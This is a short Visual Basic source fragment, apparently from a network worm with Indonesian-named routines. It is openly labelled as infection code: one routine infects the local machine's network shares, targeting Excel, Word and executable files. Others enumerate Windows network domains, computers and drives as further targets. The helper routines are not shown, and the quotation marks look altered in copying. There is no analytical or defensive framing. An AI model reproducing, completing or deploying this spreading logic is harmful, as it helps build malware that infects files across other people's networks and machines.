Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares(“\127.0.0.1”, “Microsoft Windows Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(“”, “Microsoft Windows Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub